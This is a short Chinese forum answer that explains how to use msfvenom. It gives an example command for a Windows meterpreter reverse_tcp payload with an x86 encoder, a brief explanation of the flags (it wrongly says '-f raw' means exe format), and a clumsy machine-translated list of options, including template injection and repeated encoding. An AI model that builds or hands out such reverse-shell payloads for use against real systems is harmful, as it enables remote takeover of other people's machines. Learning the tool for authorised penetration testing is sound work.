实例如下
msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/jmp_call_additive LHOST=
解释一下 -p 是选择payload 攻击载荷
-f 是输出文件格式这里是exe文件格式
-e 是选择您的编码器 选什么根据是什么系统来选
纯手码字。。。。。。。 另附参数中文翻译
-p,--payload <负载>负载使用。指定' - '或标准输入使用自定义负载
-l,--list [的module_type]列出一个模块类型。选项包括:有效载荷,编码器,空指令,所有
-n,--nopsled <长度> [长度]大小对有效载荷在前面加上nopsled
-f,--format <格式>输出格式(使用--help-格式列表)
-e,--encoder [编码器]编码器使用
-a,--arch <架构>的架构使用
--platform <平台>有效载荷的平台
-s,--space <长度>所得有效负载的最大尺寸
-b,--bad-字符<列表>字符列表,以避免例如:'\ X00 \ XFF“
-i,--iterations <计数>的次数,以有效负载进行编码
-c,--add代码<路径>指定一个额外的win32 shellcode的文件,包括
-x,--template <路径>指定一个自定义的可执行文件作为模板使用
-k,--keep保存模板行为和有效载荷为一个新的线程注入
--payload-选项列表中的有效载荷的标准选项
-o,--out <路径>保存有效载荷
-v,--var名<名>指定用于某些输出格式的自定义变量名称
-h,--help显示此消息
--help-格式列出可用的格式
希望能帮到您。。。别忘了给分